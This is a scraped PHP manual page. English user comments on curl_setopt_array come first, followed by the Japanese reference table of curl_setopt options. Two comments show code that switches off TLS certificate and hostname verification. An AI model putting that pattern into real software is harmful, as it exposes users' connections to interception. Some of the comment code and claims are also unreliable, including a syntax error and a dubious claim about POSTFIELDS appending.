<?php
array_merge([], [CURLOPT_FOO => "foo"], [CURLOPT_BAR => "bar"]);
?>

Since these constants are numeric, array_merge will happily reindex:

<?php
[0 => "foo", 1 => "bar"];
?>
Alexander 15-Nov-2016 12:14
Once upon a time I've got an error like "Problem with the SSL CA cert (path? access rights?)". Since what I was doing was pretty much an administrative task with no actual security issues involved, I decided to disallow certificate validation and this is where the most interesting stuff began.

First I did it like this and it worked:

        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

Next I thought, "But hey, I don't want any hardcoded stuff here. Let's use it in a configurable way!". And so I did something like this:

// in configuration
$CURL_OPTIONS = array(CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0);

...........

// in place of two direct calls from earlier
            curl_setopt_array($ch, $CURL_OPTIONS);

And I was so happy, there was no error anymore... and do you think I was happy for a long time? If so, then you're wrong. It stopped giving an error, while it didn't start to work!

I checked the actual data but they were allright. Then I thought: "Is it the curl_setopt_array() problem? Let's make it a cycle." The way it is mentioned in this help, actually.

            foreach ($CURL_OPTIONS as $name => $value)
            {
                curl_setopt($ch, $name, $value);
            }

And... it did not work the same way as with the curl_setopt_array() call. And the data were still allright...

So, if by chance you can't set CURL options with the curl_setopt_array() call, then now you know what to do and you know it is definitely not you who is to blame.

P.S.
By the way, the configuration used was:
Linux i-ween.com 3.2.0-4-amd64 #1 SMP Debian 3.2.73-2+deb7u3 x86_64
PHP Version 5.5.17
Lionel 17-Sep-2015 06:58
If you are writing a mini API for your library, and if you are doing merging of options, remember to use the union operator (+) !

So something like this will definitely fail. This is because array_merge effectively resets all the keys in the array into running numbers:

<?php
function post($url, $options = array) {
    $ch = curl_init();
    curl_setopt_array($ch, array_merge(array(
        CURLOPT_HEADER => 1,
        CURLOPT_RETURNTRANSFER => 1,
        .....
     )));
?>

Rather, this is the correct way of doing it:

<?php
function post($url, $options = array) {
    $ch = curl_init();
    curl_setopt_array($ch, array(
        CURLOPT_HEADER => 1,
        CURLOPT_RETURNTRANSFER => 1,
        .....
     ) + (array) $options);
?>
loop4u at gmail dot com 11-Jun-2011 07:59
it should be noted that when using CURLOPT_POSTFIELDS in a loop, CURLOPT_POSTFIELDS appends to the sting. You can use unset() if you don't want this sort of behavior.

<?php
//this will append postfields

while(true) {
    $options = array(CURLOPT_POSTFIELDS => 'foo=bar&foo2=bar');
    $ch = curl_init("http://www.example.com");
    curl_setopt_array($ch, $options);
    curl_exec($ch);
    curl_close($ch);
}

//this will NOT append postfields
while(true) {
    $options = array(CURLOPT_POSTFIELDS => 'foo=bar&foo2=bar');
    $ch = curl_init("http://www.example.com");
    curl_setopt_array($ch, $options);
    curl_exec($ch);
    curl_close($ch);
    unset($options[CURLOPT_POSTFIELDS]);
}
?>
anthon at piwik dot org 01-Jun-2010 06:52
Starting in PHP 5.2.0, CURLOPT_FOLLOWLOCATION can't be set via curl_setopt_array() (or curl_setopt()) when either safe_mode is enabled or open_basedir is set.  In these cases, the order of CURLOPT_* settings in the array can be important.
maran dot emil at gmail dot com 25-Mar-2009 11:54
In case that you need to read SSL page content from https with curl, this function can help you:

<?php

function get_web_page( $url,$curl_data )
{
    $options = array(
        CURLOPT_RETURNTRANSFER => true,         // return web page
        CURLOPT_HEADER         => false,        // don't return headers
        CURLOPT_FOLLOWLOCATION => true,         // follow redirects
        CURLOPT_ENCODING       => "",           // handle all encodings
        CURLOPT_USERAGENT      => "spider",     // who am i
        CURLOPT_AUTOREFERER    => true,         // set referer on redirect
        CURLOPT_CONNECTTIMEOUT => 120,          // timeout on connect
        CURLOPT_TIMEOUT        => 120,          // timeout on response
        CURLOPT_MAXREDIRS      => 10,           // stop after 10 redirects
        CURLOPT_POST            => 1,            // i am sending post data
           CURLOPT_POSTFIELDS     => $curl_data,    // this are my post vars
        CURLOPT_SSL_VERIFYHOST => 0,            // don't verify ssl
        CURLOPT_SSL_VERIFYPEER => false,        //
        CURLOPT_VERBOSE        => 1                //
    );

    $ch      = curl_init($url);
    curl_setopt_array($ch,$options);
    $content = curl_exec($ch);
    $err     = curl_errno($ch);
    $errmsg  = curl_error($ch) ;
    $header  = curl_getinfo($ch);
    curl_close($ch);

  //  $header['errno']   = $err;
  //  $header['errmsg']  = $errmsg;
  //  $header['content'] = $content;
    return $header;
}

$curl_data = "var1=60&var2=test";
$url = "https://www.example.com";
$response = get_web_page($url,$curl_data);

print '<pre>';
print_r($response);

?>
fnjordy at gmail dot com 30-Nov-2008 11:48
There is no CURLOPT_MAXFILESIZE in the PHP module but it's function only works with Content-Length headers anyway.  There are two ways of checking download sizes, one is after the download is complete using filesize(), the other is as the download is running allowing you to terminate before wasting time and disk space.

<?php
$GLOBALS['file_size'] = 0;
$GLOBALS['max_file_size'] = 1024 * 1024;
function on_curl_header($ch, $header)
{
    $trimmed = rtrim($header);
    if (preg_match('/^Content-Length: (\d+)$/', $trimmed, $matches))
    {
        $file_size = $matches[1];
        if ($file_size > $GLOBALS['max_file_size']) {
            // handle error here.
        }
    }
    return strlen($header);
}

function on_curl_write($ch, $data)
{
    $bytes = strlen($data);
    $GLOBALS['file_size'] += $bytes;
    if ($GLOBALS['file_size'] > $GLOBALS['max_file_size']) {
        // handle error here.
    }
    return $bytes;
}

$ch = curl_init();
$options = array(CURLOPT_URL        => 'http://www.php.net/',
         CURLOPT_HEADER        => false,
         CURLOPT_HEADERFUNCTION    => 'on_curl_header',
         CURLOPT_WRITEFUNCTION    => 'on_curl_write');
curl_setopt_array($ch, $options);
curl_exec($ch);
// ...
?>
bendavis78 at gmail dot com 13-Jul-2006 03:58
You can use CURLOPT_HEADERFUNCTION  with a callback inside an object.  This makes is it easy to capture the headers for later use.  For example:

<?php
class Test
{
    public $headers;

    //...

    public function exec($opts)
    {
        $this->headers = array();
        $opts[CURLOPT_HEADERFUNCTION] = array($this, '_setHeader');
        $ch = curl_init();
        curl_setopt_array($ch, $opts);
        return curl_exec($ch);
    }

    private function _setHeader($ch, $header)
    {
        $this->headers[] = $header;
        return strlen($header);
    }

}

$test = new Test();
$opts = array(
   //... your curl opts here
);
$data = $test->exec($opts);
print_r($test->headers);
?>

...something like that

(This works in php v. 5.1.4)


cURL 転送用オプションを設定する

  • ≪ curl_setopt_array
  • curl_share_close ≫
  • PHP Manual
  • cURL 関数
  • cURL 転送用オプションを設定する

curl_setopt

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_setopt — cURL 転送用オプションを設定する

説明

curl_setopt ( CurlHandle $handle , int $option , mixed $value ) : bool

指定した cURL セッションハンドルのオプションを設定します。

パラメータ

handle

curl_init() が返す cURL ハンドル。

option

設定したい CURLOPT_XXX オプション。

value

option に設定する値。

value には、 option の以下の値に関して bool 値を指定する必要があります。

オプション | value への設定値 | 注記
CURLOPT_AUTOREFERER | true を設定すると、Location: によるリダイレクトを たどる際には自動的に Referer: フィールドをリクエストに 追加します。
CURLOPT_BINARYTRANSFER | true を設定すると、CURLOPT_RETURNTRANSFER が使用された場合に出力結果を何も加工せずに返します。 | PHP 5.1.3 以降では、このオプションは何の効果もありません。 CURLOPT_RETURNTRANSFER を使ったときには 常に出力をそのまま返すようになりました。
CURLOPT_COOKIESESSION | true を設定すると、クッキーの "セッション" を新しく開始します。 以前のセッションで読み込まれていた "セッションクッキー" は無視するよう、 libcurl に指示します。デフォルトでは、それがセッションクッキーであるか どうかにかかわらず libcurl はすべてのクッキーを読み込んで保存します。 セッションクッキーとは、有効期限が指定されておらず "セッション" の間のみ 有効であるクッキーのことです。
CURLOPT_CERTINFO | true を設定すると、セキュアな転送時に SSL 証明書の情報を STDERR に出力します。 | cURL 7.19.1 で追加されました。 PHP 5.3.2 以降で使用可能です。これを使うには、CURLOPT_VERBOSE を on にしておかなければなりません。
CURLOPT_CONNECT_ONLY | true を設定すると、プロキシの認証や接続の確立などをすべて行いますが、データは転送しません。 このオプションは、HTTP や SMTP そして POP3 用に実装されています。 | 7.15.2 で追加されました。 PHP 5.5.0 以降で使用可能です。
CURLOPT_CRLF | true を設定すると、転送時に Unix 形式の改行を CRLF 形式に変換します。
CURLOPT_DISALLOW_USERNAME_IN_URL | ユーザー名をURLに含めてはいけない場合に true にします。 デフォルトは 0 で、ユーザー名は許可されています。 | cURL 7.61.0 で追加されました。 PHP 7.3.0 以降で利用可能です。
CURLOPT_DNS_SHUFFLE_ADDRESSES | 名前が解決され、ひとつ以上のIPアドレスが返された際、 ランダムな順番でそれらを利用するために、 返されたアドレスの順番をシャッフルする場合に true にします。 これによって、IPv6 アドレスの前に IPv4 アドレスが使われるなどの事象が起こるかもしれません。 | cURL 7.60.0 で追加されました。 PHP 7.3.0 以降で利用可能です。
CURLOPT_HAPROXYPROTOCOL | HAProxy Proxy プロトコル v1 ヘッダを接続の開始時に送信する場合に true にします。 デフォルトではこのヘッダは送信されません。 | cURL 7.60.0 で追加されました。 PHP 7.3.0 以降で利用可能です。
CURLOPT_SSH_COMPRESSION | ビルトインの SSH 圧縮を有効にする場合に true にします。 これはリクエストであり、命令ではありません。 つまり、圧縮されるかどうかはサーバ次第です。 | cURL 7.56.0 で追加されました。 PHP 7.3.0 以降で利用可能です。
CURLOPT_DNS_USE_GLOBAL_CACHE | true を設定すると、グローバル DNS キャッシュを利用します。 このオプションはスレッドセーフではありません。 また、PHP がスレッドセーフでない用途でビルドされている場合 (CLI, FCGI, Apache2-Prefork など) には、デフォルトで有効になっています。
CURLOPT_FAILONERROR | true を設定すると、HTTP で 400 以上のコードが返ってきた際に 処理失敗と判断します。デフォルトでは、コードの値を無視して ページの内容を取得します。
CURLOPT_SSL_FALSESTART | true にすると、TLS false start を有効にします。 | cURL 7.42.0 で追加されました。PHP 7.0.7 以降で使用可能です。
CURLOPT_FILETIME | true を設定すると、ドキュメントの更新日時を取得しようと試みます。 この値を取得するには、curl_getinfo() で CURLINFO_FILETIME オプションを用います。
CURLOPT_FOLLOWLOCATION | true を設定すると、サーバーが HTTP ヘッダの一部として送ってくる "Location: " ヘッダの内容をたどります。 CURLOPT_MAXREDIRS も参照して下さい。
CURLOPT_FORBID_REUSE | true を設定すると、処理が終了した際に明示的に接続を切断します。 接続を再利用しません。
CURLOPT_FRESH_CONNECT | true を設定すると、キャッシュされている接続を利用せずに 新しい接続を確立します。
CURLOPT_FTP_USE_EPRT | true を設定すると、FTP のダウンロードに EPRT（および LPRT） を利用します。false の場合は EPRT・LPRT を無効にして PORT を利用します。
CURLOPT_FTP_USE_EPSV | true を設定すると、FTP 転送の際にまず EPSV コマンドの利用を 試みます。失敗した場合は PASV を利用します。false を設定すると、 EPSV を無効にします。
CURLOPT_FTP_CREATE_MISSING_DIRS | true を設定すると、FTP の操作中にパスが存在しなかったときに ディレクトリを作成します。
CURLOPT_FTPAPPEND | true を設定すると、リモートファイルを上書きせずに追記します。
CURLOPT_TCP_NODELAY | true にすると、TCP の Nagle アルゴリズムを解除します。解除すると、小さなパケットがネットワーク上を流れる回数をできるだけ減らそうと試みます。 | PHP 5.2.1 以降のバージョンで、libcurl 7.11.2 以降と組み合わせてコンパイルしたときに利用可能です。
CURLOPT_FTPASCII | CURLOPT_TRANSFERTEXT のエイリアスです。
CURLOPT_FTPLISTONLY | true を設定すると、FTP でディレクトリ名のみ表示します。
CURLOPT_HEADER | true を設定すると、ヘッダの内容も出力します。
CURLINFO_HEADER_OUT | true を設定すると、リクエスト文字列を追跡します。 | PHP 5.1.3 以降で使用可能です。プレフィックスが CURLINFO_ となっているのは意図的なものです。
CURLOPT_HTTP09_ALLOWED | HTTP/0.9 形式のレスポンスを許可するかどうか。libcurl 7.66.0 以降のデフォルトは false です。 それより前のバージョンのデフォルトは true でした。 | PHP 7.3.15 と 7.4.3 以降 および cURL >= 7.64.0 をビルドした場合に使用可能です。
CURLOPT_HTTPGET | true を設定すると、HTTP のリクエスト形式を GET に戻します。 GET はデフォルト設定なので、リクエスト形式が変更されている 場合にのみ必要となります。
CURLOPT_HTTPPROXYTUNNEL | true にすると、指定された HTTP プロキシを介してトンネルします。
CURLOPT_HTTP_CONTENT_DECODING | false を設定すると、生の HTTP レスポンスボディを取得します。 | PHP 5.5.0 以降で、libcurl >= 7.16.2 とビルドした場合に利用可能です。
CURLOPT_KEEP_SENDING_ON_ERROR | 返されたHTTPコードが300以上であっても、リクエストボディを送信し続ける場合は true にします。 デフォルトのアクションはリクエストボディの送信を止め、 ストリームまたは接続を閉じます。 手動でNTLM認証を行う場合に、このオプションは適切です。 ほとんどのアプリケーションは、このオプションは不要です。 | PHP 7.3.0 以降で、libcurl >= 7.51.0 とビルドした場合に利用可能です。
CURLOPT_MUTE | true を設定すると、cURL 関数に関連する出力を完全に抑えます。 | cURL 7.15.5 で削除されました (かわりに CURLOPT_RETURNTRANSFER が使えます)
CURLOPT_NETRC | true を設定すると、リモートサイトと接続を確立する際に用いる ユーザー名やパスワードを、~/.netrc から取得します。
CURLOPT_NOBODY | true を設定すると、出力から本文を削除します。 リクエストメソッドは HEAD となります。これを false に変更してもリクエストメソッドは GET には変わりません。
CURLOPT_NOPROGRESS true を設定すると、cURL 転送の進捗状況表示を無効にします。

注意:

PHP は、このオプションを自動的に true に設定します。 これを変更するのは、デバッグ時のみにすべきです。

CURLOPT_NOSIGNAL | true を設定すると、cURL 関数が PHP プロセスに送信するシグナルを 無視します。マルチスレッド SAPI ではデフォルトで on となっており、 そのためタイムアウトオプションもまだ利用されています。 | cURL 7.10 で追加されました。
CURLOPT_PATH_AS_IS | true にすると、ドットの連続を処理しません。 | cURL 7.42.0 で追加されました。PHP 7.0.7 以降で使用可能です。
CURLOPT_PIPEWAIT | true にすると、パイプライン化/多重化を待ちます。 | cURL 7.42.0 で追加されました。PHP 7.0.7 以降で使用可能です。
CURLOPT_POST | true を設定すると、HTTP POST を行います。POST は、 application/x-www-form-urlencoded 形式で 行われます。これは一般的な HTML のフォームと同じ形式です。
CURLOPT_PUT | true を設定すると、HTTP PUT を行います。PUT するファイルは CURLOPT_INFILE および CURLOPT_INFILESIZE で指定されている必要があります。
CURLOPT_RETURNTRANSFER | true を設定すると、curl_exec() の返り値を 文字列で返します。通常はデータを直接出力します。
CURLOPT_SASL_IR | true にすると、最初のパケット内の最初のレスポンスの送信を有効にします。 | cURL 7.31.0 で追加されました。PHP 7.0.7 以降で使用可能です。
CURLOPT_SSL_ENABLE_ALPN | false にすると、SSL ハンドシェイクの際の ALPN を無効にします (SSL バックエンドの libcurl がそれに対応するビルドである場合)。 これは、http2 ネゴシエーションに使えます。 | cURL 7.36.0 で追加されました。PHP 7.0.7 以降で使用可能です。
CURLOPT_SSL_ENABLE_NPN | false にすると、SSL ハンドシェイクの際の NPN を無効にします (SSL バックエンドの libcurl がそれに対応するビルドである場合)。 これは、http2 ネゴシエーションに使えます。 | cURL 7.36.0 で追加されました。PHP 7.0.7 以降で使用可能です。
CURLOPT_SSL_VERIFYPEER | false を設定すると、cURL はサーバー証明書の検証を行いません。 別の証明書を CURLOPT_CAINFO オプションで 指定するか、CURLOPT_CAPATH オプションで 証明ディレクトリを指定します。 | cURL 7.10 以降、デフォルト値は true です。また、 cURL 7.10 以降、デフォルトでインストールされています。
CURLOPT_SSL_VERIFYSTATUS | true にすると、証明書のステータスを検証します。 | cURL 7.41.0 で追加されました。PHP 7.0.7 以降で使用可能です。
CURLOPT_PROXY_SSL_VERIFYPEER | false を設定すると、cURL がピアの証明書の検証を行わなくなります。 別の証明書を検証するには、CURLOPT_CAINFO オプションで指定するか、 CURLOPT_CAPATH を使って証明書のディレクトリを指定するやり方が使えます。 false を指定すると、ピアの証明書の検証はオプションに関係なく成功します。 | true がデフォルトです。 PHP 7.3.0 以降で、libcurl >= 7.52.0 とビルドした場合に利用可能です。
CURLOPT_SUPPRESS_CONNECT_HEADERS | true を設定すると、 CURLOPT_HTTPPROXYTUNNEL を使って CONNECT リクエストが生成された場合に、 ユーザーのコールバック関数 CURLOPT_HEADERFUNCTION および CURLOPT_WRITEFUNCTION では proxy CONNECT のレスポンスヘッダを抑制します。 | cURL 7.54.0 で追加されました。PHP 7.3.0 以降で使用可能です。
CURLOPT_TCP_FASTOPEN | true にすると、TCP Fast Open を有効にします。 | cURL 7.49.0 で追加されました。PHP 7.0.7 以降で使用可能です。
CURLOPT_TFTP_NO_OPTIONS | true にすると、TFTP オプションリクエストを送信しません。 | cURL 7.48.0 で追加されました。PHP 7.0.7 以降で使用可能です。
CURLOPT_TRANSFERTEXT | true を設定すると、FTP 転送を ASCII モードで行います。 LDAP の場合は、データを HTML ではなくプレーンテキストで取得します。 Windows システムでは STDOUT に対してバイナリモードを設定しないでください。
CURLOPT_UNRESTRICTED_AUTH | true を設定すると、（CURLOPT_FOLLOWLOCATION を利用して）場所をたどっていく際にユーザー名とパスワードを送信し続けます。 これは、たとえホスト名が変わっても続けられます。
CURLOPT_UPLOAD | true を設定すると、アップロードの準備をします。
CURLOPT_VERBOSE | true を設定すると、詳細な情報を出力します。情報は STDERR か、または CURLOPT_STDERR で指定したファイルに出力されます。

value には、 option の以下の値に関して 整数値を指定する必要があります。

オプション | value への設定値 | 注記
CURLOPT_BUFFERSIZE | 1 回の読み込みに用いるバッファのサイズ。しかしながら、必ず このバッファいっぱいまで読み込まれることを保証するものではありません。 | cURL 7.10 で追加されました。
CURLOPT_CLOSEPOLICY CURLCLOSEPOLICY_* のいずれかの値。

注意:

このオプションは非推奨となりました。cURL で実装されることがなく、指定しても何の効果もありませんでした。

PHP 5.6.0 で削除されました。
CURLOPT_CONNECTTIMEOUT | 接続の試行を待ち続ける秒数。0 は永遠に待ち続けることを意味します。
CURLOPT_CONNECTTIMEOUT_MS | 接続の試行を待ち続けるミリ秒数。0 は永遠に待ち続けることを意味します。 システムの標準の名前解決を使うように libcurl をビルドしている場合は、 接続のタイムアウトは秒単位の精度となり、最小のタイムアウトは 1 秒となります。 | cURL 7.16.2 で追加されました。PHP 5.2.3 以降で使用可能です。
CURLOPT_DNS_CACHE_TIMEOUT | DNS エントリをメモリ内に保持し続ける秒数。デフォルトでは 120（2 分）に設定されています。
CURLOPT_EXPECT_100_TIMEOUT_MS | 期待するタイムアウト。連続100リクエストの時間をミリ秒で指定します。 デフォルトは1000ミリ秒です。 | cURL 7.36.0 で追加されました。PHP 7.0.7 以降で使用可能です。
CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS | Happy Eyeballs アルゴリズムで IPv6 接続を優先して開始します。 Happy Eyeballs アルゴリズムは、 デュアルスタックホストのために IPv4 と IPv6アドレス両方に接続を試みますが、 IPv6 を優先して扱い、そのタイムアウトをミリ秒単位で指定します。 デフォルトは CURL_HET_DEFAULT であり、現状は200ミリ秒です。 | cURL 7.59.0 で追加されました。PHP 7.3.0 以降で使用可能です。
CURLOPT_FTPSSLAUTH | （使用可能な場合の）FTP 認証方法。 CURLFTPAUTH_SSL（まず SSL を試す）、 CURLFTPAUTH_TLS（まず TLS を試す）あるいは CURLFTPAUTH_DEFAULT（cURL が決める）のいずれかです。 | cURL 7.12.2 で追加されました。
CURLOPT_HEADEROPT | ヘッダをどう扱うかを指定します。 次の定数のうち、一つを指定できます: CURLHEADER_UNIFIED: CURLOPT_HTTPHEADER で指定されたヘッダが、 サーバとプロキシ双方のリクエストに対して使われます。 このオプションが有効な場合、 CURLOPT_PROXYHEADER は効果がありません。 CURLHEADER_SEPARATE: CURLOPT_HTTPHEADER で指定されたヘッダは、 プロキシには送られず、サーバにのみ送られます。 プロキシに送るヘッダは、 CURLOPT_PROXYHEADER を設定しなければなりません。 CONNECT でないリクエストがプロキシに送信された場合、 libcurl はサーバとプロキシ両方にヘッダを送信することに注意してください。 CONNECT リクエストを送信する場合、 libcurl は CURLOPT_PROXYHEADER をプロキシのみに送り、 CURLOPT_HTTPHEADER をサーバにのみ送信します。 cURL 7.42.1 以降は CURLHEADER_SEPARATE がデフォルトで、 それより前では、 CURLHEADER_UNIFIED がデフォルトでした。 | cURL 7.37.0 で追加されました。PHP 7.0.7 以降で利用可能です。
CURLOPT_HTTP_VERSION | CURL_HTTP_VERSION_NONE (デフォルト。 使用するバージョンを決めるのは cURL にまかせる)、 CURL_HTTP_VERSION_1_0 (HTTP/1.0 を使用する)、 あるいは CURL_HTTP_VERSION_1_1 (HTTP/1.1 を使用する) CURL_HTTP_VERSION_2_0 (HTTP 2 の使用を試みる), CURL_HTTP_VERSION_2 (CURL_HTTP_VERSION_2_0 のエイリアス), CURL_HTTP_VERSION_2TLS (TLS (https) の場合のみ HTTP 2 の使用を試みる) または CURL_HTTP_VERSION_2_PRIOR_KNOWLEDGE (HTTP 1.1 へのアップグレードを行わず、HTTP/2 を使って TLS でないリクエストを発行する) のいずれかです。
CURLOPT_HTTPAUTH

使用する HTTP 認証方法。以下の中から選びます。 CURLAUTH_BASIC、 CURLAUTH_DIGEST、 CURLAUTH_GSSNEGOTIATE、 CURLAUTH_NTLM、 CURLAUTH_ANY および CURLAUTH_ANYSAFE。

2 つ以上の方法を組み合わせるには、ビット演算子 |（or） を使用します。このような場合、cURL はサーバーがサポートしている方法を 問い合わせたうえで最適な方法を選択します。

CURLAUTH_ANY は CURLAUTH_BASIC | CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM のエイリアスです。

CURLAUTH_ANYSAFE は CURLAUTH_DIGEST | CURLAUTH_GSSNEGOTIATE | CURLAUTH_NTLM のエイリアスです。

CURLOPT_INFILESIZE | ファイルをリモートサイトにアップロードする際のファイルサイズ。 このオプションを指定しても、libcurl がそれ以上のデータを送信するのは止められないことに注意しましょう。 実際に何が送信されるのかは CURLOPT_READFUNCTION に依存します。
CURLOPT_LOW_SPEED_LIMIT | 1 秒あたりのバイト数で、転送速度がこれより遅い期間が CURLOPT_LOW_SPEED_TIME 秒以上続いた場合に PHP は転送を終了します。
CURLOPT_LOW_SPEED_TIME | 転送速度が CURLOPT_LOW_SPEED_LIMIT より遅い期間がどれだけ続いた場合に転送を異常終了させるかを、 秒単位で指定します。
CURLOPT_MAXCONNECTS | 許可される持続的接続の最大数。もしこの値に達した場合、 どの接続を閉じるのかを CURLOPT_CLOSEPOLICY によって決定します。
CURLOPT_MAXREDIRS | HTTP のリダイレクト先を追いかける最大値。 CURLOPT_FOLLOWLOCATION とあわせて使用します。 リダイレクトループを避けるため、 デフォルト値として 20 が設定されています。 -1 を設定すると、リダイレクトループを許可します。 0 を指定すると、全てのリダイレクトを拒否します。
CURLOPT_PORT | 接続先のポート番号。
CURLOPT_POSTREDIR | CURLOPT_FOLLOWLOCATION が設定されているときに、 どの形式のリダイレクトの場合に HTTP POST メソッドを維持するのかを、 1 (301 Moved Permanently)、2 (302 Found)、4 (303 See Other) のビットマスクで指定します。 | cURL 7.19.1 で追加されました。PHP 5.3.2 以降で使用可能です。
CURLOPT_PROTOCOLS

CURLPROTO_* の値のビットマスク。使用すると、 転送時に libcurl がどのプロトコルを使用するのかに制約を加えます。 さまざまなプロトコルに対応するよう libcurl をビルドしていた場合でも、 これによって特定の転送プロトコルのみを使用するように制限することができます。 デフォルトでは、libcurl がサポートしているすべてのプロトコルの使用を許可します。 CURLOPT_REDIR_PROTOCOLS も参照ください。

使用できるプロトコルオプションは次のとおりです。 CURLPROTO_HTTP, CURLPROTO_HTTPS, CURLPROTO_FTP, CURLPROTO_FTPS, CURLPROTO_SCP, CURLPROTO_SFTP, CURLPROTO_TELNET, CURLPROTO_LDAP, CURLPROTO_LDAPS, CURLPROTO_DICT, CURLPROTO_FILE, CURLPROTO_TFTP, CURLPROTO_ALL

cURL 7.19.4 で追加されました。
CURLOPT_PROXYAUTH | プロキシ接続に使用する HTTP 認証の方法。 CURLOPT_HTTPAUTH で説明したのと同じオプションを 指定可能です。プロキシ認証でサポートされているのは、今のところ CURLAUTH_BASIC および CURLAUTH_NTLM のみです。 | cURL 7.10.7 で追加されました。
CURLOPT_PROXYPORT | プロキシ接続のポート番号。このポート番号は、 CURLOPT_PROXY で指定することも可能です。
CURLOPT_PROXYTYPE | CURLPROXY_HTTP（デフォルト）、 CURLPROXY_SOCKS4、 CURLPROXY_SOCKS5、 CURLPROXY_SOCKS4A あるいは CURLPROXY_SOCKS5_HOSTNAME。 | cURL 7.10 で追加されました。
CURLOPT_REDIR_PROTOCOLS | CURLPROTO_* の値のビットマスク。使用すると、 CURLOPT_FOLLOWLOCATION が有効な場合のリダイレクト時の転送に libcurl がどのプロトコルを使用するのかに制約を加えます。これによって、 リダイレクト時に特定の転送プロトコルのみを使用するように制限することができます。 デフォルトでは、libcurl がサポートしているすべてのプロトコルのうち FILE と SCP 以外のすべての使用を許可します。この挙動は 7.19.4 より前のバージョンとは異なります。7.19.4 より前のバージョンでは、 サポートするすべてのプロトコルを無条件に許可していました。 プロトコル定数の値は CURLOPT_PROTOCOLS を参照ください。 | cURL 7.19.4 で追加されました。
CURLOPT_RESUME_FROM | 転送を途中から再開する場合のバイトオフセット。
CURLOPT_SOCKS5_AUTH

利用する SOCKS5 認証方法。以下が指定できます: CURLAUTH_BASIC, CURLAUTH_GSSAPI, CURLAUTH_NONE

一つ以上の認証方法を組み合わせるために ビット演算子 | (or) が使えます。 これを使うと、cURL がどの方法をサポートしているかをポーリングし、もっとも良いものを選択します。

CURLAUTH_BASIC を指定すると、ユーザー名/パスワード による認証ができます。

CURLAUTH_GSSAPI を指定すると、GSS-API 認証ができます。

CURLAUTH_NONE を指定すると、認証は行われません。

デフォルトは CURLAUTH_BASIC|CURLAUTH_GSSAPI です。 実際のユーザー名とパスワードは CURLOPT_PROXYUSERPWD オプションを使って設定してください。

PHP 7.3.0 以降 および curl >= 7.55.0 で利用可能です。
CURLOPT_SSL_OPTIONS | SSL 関連の振る舞いのオプションを設定します。 以下に示す定数のビットマスクの組み合わせです: CURLSSLOPT_ALLOW_BEAST: SSL3 や TLS1.0 プロトコルのセキュリティ上の欠陥を回避するあらゆる手段を使わない。 CURLSSLOPT_NO_REVOKE: 証明書の失効チェックを行うSSLバックエンドについて、それを無効にする。 | cURL 7.25.0 で追加されました。PHP 7.0.7 以降で利用可能です。
CURLOPT_SSL_VERIFYHOST | 1 は SSL ピア証明書に一般名が存在するかどうかを調べます。 2 はそれに加え、その名前がホスト名と一致することを検証します。 0 は、名前をチェックしません。 本番環境では、このオプションの値は常に 2 (デフォルト値) にしておかなければなりません。 | 値 1 は、cURL 7.28.1 以降では使えなくなりました。
CURLOPT_SSLVERSION CURL_SSLVERSION_DEFAULT (0)、 CURL_SSLVERSION_TLSv1 (1)、 CURL_SSLVERSION_SSLv2 (2)、 CURL_SSLVERSION_SSLv3 (3)、 CURL_SSLVERSION_TLSv1_0 (4)、 CURL_SSLVERSION_TLSv1_1 (5)、 CURL_SSLVERSION_TLSv1_2 (6) のいずれかの値。 TLSバージョンの最大値は、定数 CURL_SSLVERSION_MAX_* で設定できます。 定数 CURL_SSLVERSION_MAX_* のうちのひとつと、 定数 CURL_SSLVERSION_* のうちのひとつを OR で設定することもできます。 CURL_SSLVERSION_MAX_DEFAULT (ライブラリがサポートする最大のバージョン), CURL_SSLVERSION_MAX_TLSv1_0, CURL_SSLVERSION_MAX_TLSv1_1, CURL_SSLVERSION_MAX_TLSv1_2, または CURL_SSLVERSION_MAX_TLSv1_3.

注意:

この値は何も設定せず、デフォルトに任せるのが最適です。 2 や 3 を設定すると、SSLv2 および SSLv3 の既知の脆弱性の影響を受けるため、非常に危険です。

CURLOPT_PROXY_SSL_OPTIONS | HTTPSプロキシの振る舞いを設定するオプションです。 これは以下の定数のうち、任意のものを組み合わせたビットマスクです: CURLSSLOPT_ALLOW_BEAST: SSL3 と TLS1.0 プロトコルに存在する脆弱性を回避するための回避策を使いません。 CURLSSLOPT_NO_REVOKE: SSLバックエンドの証明書の失効チェックを無効にします。 但し、そうした振る舞いが存在した場合に限ります(curl >= 7.44.0) CURLSSLOPT_NO_PARTIALCHAIN: "部分的な"証明書チェインを許可しません。 デフォルトでは許可されています(curl >= 7.68.0) | PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_PROXY_SSL_VERIFYHOST | HTTPSプロキシの証明書の名前フィールドをプロキシ名と突き合わせて検証する場合 2 を設定します。 0 を設定すると、証明書でどのような名前が使われていようと、接続は成功します。 注意して使用してください! 1 は curl 7.28.0 以前ではデバッグオプションとして扱われていました。 curl 7.28.1 から 7.65.3 までは CURLE_BAD_FUNCTION_ARGUMENT が返されていました。 curl 7.66.0 以降では 1 と 2 は同じ値として扱われます。 本番環境では、このオプションの値は (デフォルトの) 2 であるべきです。 | PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_PROXY_SSLVERSION 以下のうちのひとつが指定できます: CURL_SSLVERSION_DEFAULT, CURL_SSLVERSION_TLSv1, CURL_SSLVERSION_TLSv1_0, CURL_SSLVERSION_TLSv1_1, CURL_SSLVERSION_TLSv1_2, CURL_SSLVERSION_TLSv1_3, CURL_SSLVERSION_MAX_DEFAULT, CURL_SSLVERSION_MAX_TLSv1_0, CURL_SSLVERSION_MAX_TLSv1_1, CURL_SSLVERSION_MAX_TLSv1_2, CURL_SSLVERSION_MAX_TLSv1_3, CURL_SSLVERSION_SSLv3

注意:

最も良い選択は、このオプションを設定せず、 デフォルトの CURL_SSLVERSION_DEFAULT を使うことです。 このオプションは、リモートのSSLプロトコルのバージョンを見つけようとします。

PHP 7.3.0 以降 および cURL >= 7.52.0 をビルドした場合に使用可能です。
CURLOPT_STREAM_WEIGHT | ストリームの重みを数値で設定します(1 から 256 までの数値) | cURL 7.46.0 で追加されました。PHP 7.0.7 以降で利用可能です。
